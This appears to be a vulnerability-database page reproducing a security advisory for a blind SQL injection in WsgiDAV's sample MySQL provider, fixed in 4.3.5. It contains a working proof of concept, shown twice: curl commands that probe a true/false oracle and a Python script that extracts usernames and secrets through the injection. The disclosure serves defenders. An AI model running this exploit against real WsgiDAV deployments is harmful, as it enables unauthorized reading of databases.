GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-P6GW-4FRG-J7JW

Vulnerability from github – Published: 2026-08-28 18:12 – Updated: 2026-08-28 18:12
VLAI
Summary
WsgiDAV MySQL provider has a blind SQL injection
Details

Summary

The sample MySQLBrowserProvider builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction.

Note: The MySQLBrowserProvider module is only provided as an example for WsgiDAV and not enabled by default. Installations that do not explicitly activate the module in their configuration are not affected by this vulnerability.

Details

A path like /db/users/1 is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is SELECT id FROM testdb.users WHERE id = '<key>', so a single quote in the key breaks out of the literal and the rest runs as SQL.

The provider's numeric-type check has a typo (INTT instead of INT), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed.

The behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding.

PoC

Tested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share /db mapped to MySQLBrowserProvider, anonymous access.

Oracle, true then false:

curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271"
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272"

Returns 500 then 404. The only difference is the injected condition ('1'='1' vs '1'='2'), proving the input is executed as SQL.

Data extraction over the same oracle (dump.py):

import urllib.parse, urllib.request, urllib.error
BASE = "http://127.0.0.1:8080/db/users/"

def truthy(cond):
    url = BASE + urllib.parse.quote(f"0' OR ({cond}) OR '1'='2")
    try:
        urllib.request.urlopen(url); return True
    except urllib.error.HTTPError as e:
        return e.code != 404

def extract(expr, maxlen=128):
    out = ""
    for i in range(1, maxlen + 1):
        if not truthy(f"SELECT ASCII(MID(({expr}),{i},1))>0"): break
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if truthy(f"SELECT ASCII(MID(({expr}),{i},1))>{mid}"): lo = mid + 1
            else: hi = mid
        out += chr(lo)
    return out

print(extract("SELECT GROUP_CONCAT(name,0x3a,secret) FROM users"))
python dump.py

Prints alice:alice-password,bob:bob-token, confirming arbitrary read of table data with no auth.

Impact

Anyone who can read a MySQLBrowserProvider share can run read queries as the database account WsgiDAV connects with, which in practice exposes the whole reachable database. If that account has write or admin grants, the exposure extends further. Primary impact is confidentiality, with integrity at risk depending on the account's privileges.

Scope note: this is the shipped sample MySQL provider, not the default filesystem provider, so it only affects deployments that enable it. Real first-party code, but not a default-config issue.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.3.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "WsgiDAV"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:12:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe sample `MySQLBrowserProvider` builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction.\n\n**Note:**\nThe `MySQLBrowserProvider` module is only provided as an example for WsgiDAV and not enabled by default.\nInstallations that do not explicitly activate the module in their configuration are not affected by this vulnerability.\n\n### Details\n\nA path like `/db/users/1` is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is `SELECT id FROM testdb.users WHERE id = \u0027\u003ckey\u003e\u0027`, so a single quote in the key breaks out of the literal and the rest runs as SQL.\n\nThe provider\u0027s numeric-type check has a typo (`INTT` instead of `INT`), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed.\n\nThe behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding.\n\n### PoC\n\nTested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share `/db` mapped to `MySQLBrowserProvider`, anonymous access.\n\nOracle, true then false:\n\n```\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \"http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271\"\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \"http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272\"\n```\n\nReturns `500` then `404`. The only difference is the injected condition (`\u00271\u0027=\u00271\u0027` vs `\u00271\u0027=\u00272\u0027`), proving the input is executed as SQL.\n\nData extraction over the same oracle (`dump.py`):\n\n```\nimport urllib.parse, urllib.request, urllib.error\nBASE = \"http://127.0.0.1:8080/db/users/\"\n\ndef truthy(cond):\n    url = BASE + urllib.parse.quote(f\"0\u0027 OR ({cond}) OR \u00271\u0027=\u00272\")\n    try:\n        urllib.request.urlopen(url); return True\n    except urllib.error.HTTPError as e:\n        return e.code != 404\n\ndef extract(expr, maxlen=128):\n    out = \"\"\n    for i in range(1, maxlen + 1):\n        if not truthy(f\"SELECT ASCII(MID(({expr}),{i},1))\u003e0\"): break\n        lo, hi = 32, 126\n        while lo \u003c hi:\n            mid = (lo + hi) // 2\n            if truthy(f\"SELECT ASCII(MID(({expr}),{i},1))\u003e{mid}\"): lo = mid + 1\n            else: hi = mid\n        out += chr(lo)\n    return out\n\nprint(extract(\"SELECT GROUP_CONCAT(name,0x3a,secret) FROM users\"))\n```\n\n```\npython dump.py\n```\n\nPrints `alice:alice-password,bob:bob-token`, confirming arbitrary read of table data with no auth.\n\n### Impact\n\nAnyone who can read a `MySQLBrowserProvider` share can run read queries as the database account WsgiDAV connects with, which in practice exposes the whole reachable database. If that account has write or admin grants, the exposure extends further. Primary impact is confidentiality, with integrity at risk depending on the account\u0027s privileges.\n\nScope note: this is the shipped sample MySQL provider, not the default filesystem provider, so it only affects deployments that enable it. Real first-party code, but not a default-config issue.",
  "id": "GHSA-p6gw-4frg-j7jw",
  "modified": "2026-08-28T18:12:17Z",
  "published": "2026-08-28T18:12:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/security/advisories/GHSA-p6gw-4frg-j7jw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/commit/6f35776c9188f130ab044ce557015d51aaa83500"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mar10/wsgidav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/blob/master/CHANGELOG.md#435--2026-06-27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mar10/wsgidav/releases/tag/v4.3.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "WsgiDAV MySQL provider has a blind SQL injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…